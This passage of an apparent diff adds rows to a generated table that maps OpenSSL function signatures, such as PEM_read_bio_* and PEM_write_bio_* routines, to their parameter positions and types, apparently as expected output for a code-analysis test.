*,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 1 | PKCS7 * | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 2 | PKCS7_SIGNER_INFO * | +| (BIO *,PKCS7 *,PKCS7_SIGNER_INFO *,X509 *) | | PKCS7_signatureVerify | 3 | X509 * | +| (BIO *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_bio | 0 | BIO * | +| (BIO *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_bio | 1 | PKCS8_PRIV_KEY_INFO ** | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 0 | BIO * | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 1 | PKCS8_PRIV_KEY_INFO ** | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 2 | pem_password_cb * | +| (BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8_PRIV_KEY_INFO | 3 | void * | +| (BIO *,PKCS12 **) | | d2i_PKCS12_bio | 0 | BIO * | +| (BIO *,PKCS12 **) | | d2i_PKCS12_bio | 1 | PKCS12 ** | +| (BIO *,RSA **) | | d2i_RSAPrivateKey_bio | 0 | BIO * | +| (BIO *,RSA **) | | d2i_RSAPrivateKey_bio | 1 | RSA ** | +| (BIO *,RSA **) | | d2i_RSAPublicKey_bio | 0 | BIO * | +| (BIO *,RSA **) | | d2i_RSAPublicKey_bio | 1 | RSA ** | +| (BIO *,RSA **) | | d2i_RSA_PUBKEY_bio | 0 | BIO * | +| (BIO *,RSA **) | | d2i_RSA_PUBKEY_bio | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 0 | BIO * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 2 | pem_password_cb * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPrivateKey | 3 | void * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 0 | BIO * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 2 | pem_password_cb * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSAPublicKey | 3 | void * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 0 | BIO * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 1 | RSA ** | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 2 | pem_password_cb * | +| (BIO *,RSA **,pem_password_cb *,void *) | | PEM_read_bio_RSA_PUBKEY | 3 | void * | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 0 | BIO * | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 1 | SSL_SESSION ** | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 2 | pem_password_cb * | +| (BIO *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_bio_SSL_SESSION | 3 | void * | +| (BIO *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_bio | 0 | BIO * | +| (BIO *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_bio | 1 | TS_MSG_IMPRINT ** | +| (BIO *,TS_REQ *) | | TS_REQ_print_bio | 0 | BIO * | +| (BIO *,TS_REQ *) | | TS_REQ_print_bio | 1 | TS_REQ * | +| (BIO *,TS_REQ **) | | d2i_TS_REQ_bio | 0 | BIO * | +| (BIO *,TS_REQ **) | | d2i_TS_REQ_bio | 1 | TS_REQ ** | +| (BIO *,TS_RESP *) | | TS_RESP_print_bio | 0 | BIO * | +| (BIO *,TS_RESP *) | | TS_RESP_print_bio | 1 | TS_RESP * | +| (BIO *,TS_RESP **) | | d2i_TS_RESP_bio | 0 | BIO * | +| (BIO *,TS_RESP **) | | d2i_TS_RESP_bio | 1 | TS_RESP ** | +| (BIO *,TS_TST_INFO *) | | TS_TST_INFO_print_bio | 0 | BIO * | +| (BIO *,TS_TST_INFO *) | | TS_TST_INFO_print_bio | 1 | TS_TST_INFO * | +| (BIO *,TS_TST_INFO **) | | d2i_TS_TST_INFO_bio | 0 | BIO * | +| (BIO *,TS_TST_INFO **) | | d2i_TS_TST_INFO_bio | 1 | TS_TST_INFO ** | +| (BIO *,X509 *) | | X509_print | 0 | BIO * | +| (BIO *,X509 *) | | X509_print | 1 | X509 * | +| (BIO *,X509 **) | | d2i_X509_bio | 0 | BIO * | +| (BIO *,X509 **) | | d2i_X509_bio | 1 | X509 ** | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 0 | BIO * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 1 | X509 ** | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 2 | pem_password_cb * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509 | 3 | void * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 0 | BIO * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 1 | X509 ** | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 2 | pem_password_cb * | +| (BIO *,X509 **,pem_password_cb *,void *) | | PEM_read_bio_X509_AUX | 3 | void * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 0 | BIO * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 1 | X509 * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 2 | stack_st_X509 * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 3 | EVP_PKEY * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 4 | unsigned int | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 5 | stack_st_X509 * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 6 | const EVP_CIPHER * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 7 | unsigned int | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 8 | OSSL_LIB_CTX * | +| (BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | ossl_cms_sign_encrypt | 9 | const char * | +| (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 0 | BIO * | +| (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 1 | X509 * | +| (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | unsigned long | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 0 | BIO * | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 1 | X509 * | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 2 | unsigned long | +| (BIO *,X509 *,unsigned long,unsigned long) | | X509_print_ex | 3 | unsigned long | +| (BIO *,X509_ACERT *) | | X509_ACERT_print | 0 | BIO * | +| (BIO *,X509_ACERT *) | | X509_ACERT_print | 1 | X509_ACERT * | +| (BIO *,X509_ACERT **) | | d2i_X509_ACERT_bio | 0 | BIO * | +| (BIO *,X509_ACERT **) | | d2i_X509_ACERT_bio | 1 | X509_ACERT ** | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 0 | BIO * | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 1 | X509_ACERT ** | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 2 | pem_password_cb * | +| (BIO *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_bio_X509_ACERT | 3 | void * | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 0 | BIO * | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 1 | X509_ACERT * | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 2 | unsigned long | +| (BIO *,X509_ACERT *,unsigned long,unsigned long) | | X509_ACERT_print_ex | 3 | unsigned long | +| (BIO *,X509_CRL *) | | X509_CRL_print | 0 | BIO * | +| (BIO *,X509_CRL *) | | X509_CRL_print | 1 | X509_CRL * | +| (BIO *,X509_CRL **) | | d2i_X509_CRL_bio | 0 | BIO * | +| (BIO *,X509_CRL **) | | d2i_X509_CRL_bio | 1 | X509_CRL ** | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 0 | BIO * | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 1 | X509_CRL ** | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 2 | pem_password_cb * | +| (BIO *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_bio_X509_CRL | 3 | void * | +| (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 0 | BIO * | +| (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 1 | X509_CRL * | +| (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | unsigned long | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 0 | BIO * | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 1 | X509_EXTENSION * | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 2 | unsigned long | +| (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 3 | int | +| (BIO *,X509_PUBKEY **) | | d2i_X509_PUBKEY_bio | 0 | BIO * | +| (BIO *,X509_PUBKEY **) | | d2i_X509_PUBKEY_bio | 1 | X509_PUBKEY ** | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 0 | BIO * | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 1 | X509_PUBKEY ** | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 2 | pem_password_cb * | +| (BIO *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_bio_X509_PUBKEY | 3 | void * | +| (BIO *,X509_REQ *) | | X509_REQ_print | 0 | BIO * | +| (BIO *,X509_REQ *) | | X509_REQ_print | 1 | X509_REQ * | +| (BIO *,X509_REQ **) | | d2i_X509_REQ_bio | 0 | BIO * | +| (BIO *,X509_REQ **) | | d2i_X509_REQ_bio | 1 | X509_REQ ** | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 0 | BIO * | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 1 | X509_REQ ** | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 2 | pem_password_cb * | +| (BIO *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_bio_X509_REQ | 3 | void * | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 0 | BIO * | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 1 | X509_REQ * | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 2 | unsigned long | +| (BIO *,X509_REQ *,unsigned long,unsigned long) | | X509_REQ_print_ex | 3 | unsigned long | +| (BIO *,X509_SIG **) | | d2i_PKCS8_bio | 0 | BIO * | +| (BIO *,X509_SIG **) | | d2i_PKCS8_bio | 1 | X509_SIG ** | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 0 | BIO * | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 1 | X509_SIG ** | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 2 | pem_password_cb * | +| (BIO *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_bio_PKCS8 | 3 | void * | +| (BIO *,char *) | | BIO_set_callback_arg | 0 | BIO * | +| (BIO *,char *) | | BIO_set_callback_arg | 1 | char * | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 0 | BIO * | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 1 | char ** | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 2 | char ** | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 3 | unsigned char ** | +| (BIO *,char **,char **,unsigned char **,long *) | | PEM_read_bio | 4 | long * | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 0 | BIO * | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 1 | char ** | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 2 | char ** | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 3 | unsigned char ** | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 4 | long * | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 5 | unsigned int | +| (BIO *,char *,int) | | BIO_get_line | 0 | BIO * | +| (BIO *,char *,int) | | BIO_get_line | 1 | char * | +| (BIO *,char *,int) | | BIO_get_line | 2 | int | +| (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 0 | BIO * | +| (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 1 | const ASN1_STRING * | +| (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | unsigned long | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 0 | BIO * | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 1 | const ASN1_VALUE * | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 2 | int | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 3 | const ASN1_ITEM * | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 4 | const ASN1_PCTX * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 0 | BIO * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 1 | const BIGNUM * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 2 | const char * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 3 | int | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 4 | unsigned char * | +| (BIO *,const CMS_ContentInfo *) | | PEM_write_bio_CMS | 0 | BIO * | +| (BIO *,const CMS_ContentInfo *) | | PEM_write_bio_CMS | 1 | const CMS_ContentInfo * | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 0 | BIO * | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 1 | const CMS_ContentInfo * | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 2 | int | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 3 | const ASN1_PCTX * | +| (BIO *,const DH *) | | PEM_write_bio_DHparams | 0 | BIO * | +| (BIO *,const DH *) | | PEM_write_bio_DHparams | 1 | const DH * | +| (BIO *,const DH *) | | PEM_write_bio_DHxparams | 0 | BIO * | +| (BIO *,const DH *) | | PEM_write_bio_DHxparams | 1 | const DH * | +| (BIO *,const DSA *) | | DSAparams_print | 0 | BIO * | +| (BIO *,const DSA *) | | DSAparams_print | 1 | const DSA * | +| (BIO *,const DSA *) | | PEM_write_bio_DSA_PUBKEY | 0 | BIO * | +| (BIO *,const DSA *) | | PEM_write_bio_DSA_PUBKEY | 1 | const DSA * | +| (BIO *,const DSA *) | | PEM_write_bio_DSAparams | 0 | BIO * | +| (BIO *,const DSA *) | | PEM_write_bio_DSAparams | 1 | const DSA * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 0 | BIO * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 1 | const DSA * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 3 | const unsigned char * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 4 | int | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 5 | pem_password_cb * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 6 | void * | +| (BIO *,const DSA *,int) | | DSA_print | 0 | BIO * | +| (BIO *,const DSA *,int) | | DSA_print | 1 | const DSA * | +| (BIO *,const DSA *,int) | | DSA_print | 2 | int | +| (BIO *,const EC_GROUP *) | | PEM_write_bio_ECPKParameters | 0 | BIO * | +| (BIO *,const EC_GROUP *) | | PEM_write_bio_ECPKParameters | 1 | const EC_GROUP * | +| (BIO *,const EC_KEY *) | | PEM_write_bio_EC_PUBKEY | 0 | BIO * | +| (BIO *,const EC_KEY *) | | PEM_write_bio_EC_PUBKEY | 1 | const EC_KEY * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 0 | BIO * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 1 | const EC_KEY * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 3 | const unsigned char * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 4 | int | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 5 | pem_password_cb * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 6 | void * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 0 | BIO * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 1 | const EVP_CIPHER * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 2 | const unsigned char * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 3 | size_t | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 4 | unsigned int | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 5 | OSSL_LIB_CTX * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 6 | const char * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 0 | BIO * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 1 | const EVP_MD * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 2 | unsigned int | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 4 | const char * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_PUBKEY | 0 | BIO * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_PUBKEY | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_Parameters | 0 | BIO * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_Parameters | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 0 | BIO * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 2 | OSSL_LIB_CTX * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 3 | const char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 3 | const char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 3 | const char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 3 | const unsigned char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 3 | const unsigned char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 3 | const unsigned char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char 